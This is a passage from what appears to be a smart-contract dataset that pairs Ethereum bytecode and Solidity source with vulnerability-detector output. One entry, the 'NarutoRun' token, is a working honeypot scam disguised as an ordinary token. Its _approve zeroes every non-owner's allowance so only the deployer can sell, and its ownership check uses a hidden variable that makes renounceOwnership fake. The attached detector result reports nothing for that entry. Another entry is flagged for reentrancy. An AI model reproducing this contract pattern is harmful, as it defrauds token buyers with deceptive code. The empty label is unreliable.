0ff19169055565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016105ea90611c61565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b557506013546001600160a01b0316336001600160a01b0316145b6107be57600080fd5b476107c881611208565b50565b6001600160a01b03811660009081526002602052604081205461067e9061128d565b6000546001600160a01b031633146108175760405162461bcd60e51b81526004016105ea90611c61565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105ea90611c61565b601655565b6000546001600160a01b031633146108ba5760405162461bcd60e51b81526004016105ea90611c61565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016105ea90611c61565b601855565b6000546001600160a01b031633146109315760405162461bcd60e51b81526004016105ea90611c61565b600893909355600a91909155600955600b55565b600061067a338484610c92565b6012546001600160a01b0316336001600160a01b0316148061098757506013546001600160a01b0316336001600160a01b0316145b61099057600080fd5b600061099b306107cb565b90506107c881611311565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016105ea90611c61565b60005b82811015610a4f578160056000868685818110610a0057634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a15919061198a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4781611d74565b9150506109d3565b50505050565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b81526004016105ea90611c61565b601755565b6000546001600160a01b03163314610aae5760405162461bcd60e51b81526004016105ea90611c61565b6001600160a01b038116610b135760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ea565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ea565b6001600160a01b038216610c315760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ea565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ea565b6001600160a01b038216610d585760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ea565b60008111610dba5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ea565b6000546001600160a01b03848116911614801590610de657506000546001600160a01b03838116911614155b156110c757601554600160a01b900460ff16610e7f576000546001600160a01b03848116911614610e7f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ea565b601654811115610ed15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ea565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1357506001600160a01b03821660009081526010602052604090205460ff16155b610f6b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ea565b6015546001600160a01b03838116911614610ff05760175481610f8d846107cb565b610f979190611d06565b10610ff05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ea565b6000610ffb306107cb565b6018546016549192508210159082106110145760165491505b80801561102b5750601554600160a81b900460ff16155b801561104557506015546001600160a01b03868116911614155b801561105a5750601554600160b01b900460ff165b801561107f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110a457506001600160a01b03841660009081526005602052604090205460ff16155b156110c4576110b282611311565b4780156110c2576110c247611208565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110957506001600160a01b03831660009081526005602052604090205460ff165b8061113b57506015546001600160a01b0385811691161480159061113b57506015546001600160a01b03848116911614155b15611148575060006111c2565b6015546001600160a01b03858116911614801561117357506014546001600160a01b03848116911614155b1561118557600854600c55600954600d555b6015546001600160a01b0384811691161480156111b057506014546001600160a01b03858116911614155b156111c257600a54600c55600b54600d555b610a4f848484846114b6565b600081848411156111f25760405162461bcd60e51b81526004016105ea9190611c0e565b5060006111ff8486611d5d565b95945050505050565b6012546001600160a01b03166108fc6112228360026114e4565b6040518115909202916000818181858888f1935050505015801561124a573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112658360026114e4565b6040518115909202916000818181858888f19350505050158015610669573d6000803e3d6000fd5b60006006548211156112f45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ea565b60006112fe611526565b905061130a83826114e4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bb57600080fd5b505afa1580156113cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f391906119a6565b8160018151811061141457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143a9130911684610b6e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611473908590600090869030904290600401611c96565b600060405180830381600087803b15801561148d57600080fd5b505af11580156114a1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c3576114c3611549565b6114ce848484611577565b80610a4f57610a4f600e54600c55600f54600d55565b600061130a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b600080600061153361169c565b909250905061154282826114e4565b9250505090565b600c541580156115595750600d54155b1561156057565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611589876116da565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bb9087611737565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ea9086611779565b6001600160a01b03891660009081526002602052604090205561160c816117d8565b6116168483611822565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165b91815260200190565b60405180910390a3505050505050505050565b6000818361168f5760405162461bcd60e51b81526004016105ea9190611c0e565b5060006111ff8486611d1e565b6006546000908190662386f26fc100006116b682826114e4565b8210156116d157505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116f78a600c54600d54611846565b9250925092506000611707611526565b9050600080600061171a8e87878761189b565b919e509c509a509598509396509194505050505091939550919395565b600061130a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ce565b6000806117868385611d06565b90508381101561130a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ea565b60006117e2611526565b905060006117f083836118eb565b3060009081526002602052604090205490915061180d9082611779565b30600090815260026020526040902055505050565b60065461182f9083611737565b60065560075461183f9082611779565b6007555050565b6000808080611860606461185a89896118eb565b906114e4565b90506000611873606461185a8a896118eb565b9050600061188b826118858b86611737565b90611737565b9992985090965090945050505050565b60008080806118aa88866118eb565b905060006118b888876118eb565b905060006118c688886118eb565b905060006118d8826118858686611737565b939b939a50919850919650505050505050565b6000826118fa5750600061067e565b60006119068385611d3e565b9050826119138583611d1e565b1461130a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ea565b803561197581611dbb565b919050565b8035801515811461197557600080fd5b60006020828403121561199b578081fd5b813561130a81611dbb565b6000602082840312156119b7578081fd5b815161130a81611dbb565b600080604083850312156119d4578081fd5b82356119df81611dbb565b915060208301356119ef81611dbb565b809150509250929050565b600080600060608486031215611a0e578081fd5b8335611a1981611dbb565b92506020840135611a2981611dbb565b929592945050506040919091013590565b60008060408385031215611a4c578182fd5b8235611a5781611dbb565b946020939093013593505050565b600080600060408486031215611a79578283fd5b833567ffffffffffffffff80821115611a90578485fd5b818601915086601f830112611aa3578485fd5b813581811115611ab1578586fd5b8760208260051b8501011115611ac5578586fd5b602092830195509350611adb918601905061197a565b90509250925092565b60006020808385031215611af6578182fd5b823567ffffffffffffffff80821115611b0d578384fd5b818501915085601f830112611b20578384fd5b813581811115611b3257611b32611da5565b8060051b604051601f19603f83011681018181108582111715611b5757611b57611da5565b604052828152858101935084860182860187018a1015611b75578788fd5b8795505b83861015611b9e57611b8a8161196a565b855260019590950194938601938601611b79565b5098975050505050505050565b600060208284031215611bbc578081fd5b61130a8261197a565b600060208284031215611bd6578081fd5b5035919050565b60008060008060808587031215611bf2578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3a57858101830151858201604001528201611c1e565b81811115611c4b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce55784516001600160a01b031683529383019391830191600101611cc0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1957611d19611d8f565b500190565b600082611d3957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5857611d58611d8f565b500290565b600082821015611d6f57611d6f611d8f565b500390565b6000600019821415611d8857611d88611d8f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d79c10e9d65cda0c8be0b8fc92bac2281fcbfc51a052d0d196f57ba2812cf5664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,218
0x2d7778ce6c06afbbc1d0a8c1dd331b5ec9404d8b
/** *Submitted for verification at Etherscan.io on 2021-09-29 */ /* 888b 888 888 8888888b. 8888b 888 888 888 Y88b 88888b 888 888 888 888 888Y88b 888 8888b. 888d888 888 888 888888 .d88b. 888 d88P 888 888 88888b. 888 Y88b888 "88b 888P" 888 888 888 d88""88b 8888888P" 888 888 888 "88b 888 Y88888 .d888888 888 888 888 888 888 888 888 T88b 888 888 888 888 888 Y8888 888 888 888 Y88b 888 Y88b. Y88..88P 888 T88b Y88b 888 888 888 888 Y888 "Y888888 888 "Y88888 "Y888 "Y88P" 888 T88b "Y88888 888 888 Naruto Run is one piece of a larger Metaverse of tokens to come. 100% LP Tokens Burnt 40% of Supply Burnt No Team Tokens Continuous Marketing & Calls Giveaways for token holders Telegram: https://t.me/NarutoRunToken Website: https://www.narutoruntoken.com */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract NarutoRun is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000 * 10**9 * 10**18; string private _name = ' Naruto Run '; string private _symbol = ' Naruto_Run'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2503af9fc0ed9f13ef4c61ad0775f5d692f8d1a162f90805bfaa082f9601a8964736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,219
0xcaaea081378c3b1f770c8685c34ca6f5ff0cbe4a
pragma solidity ^0.4.24; interface token { function transfer(address receiver, uint amount) external returns (bool); function balanceOf(address who) external returns (uint256); } interface AddressRegistry { function getAddr(string AddrName) external returns(address); } contract Registry { address public RegistryAddress; modifier onlyAdmin() { require(msg.sender == getAddress("admin")); _; } function getAddress(string AddressName) internal view returns(address) { AddressRegistry aRegistry = AddressRegistry(RegistryAddress); address realAddress = aRegistry.getAddr(AddressName); require(realAddress != address(0)); return realAddress; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(burner, _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken, BurnableToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) 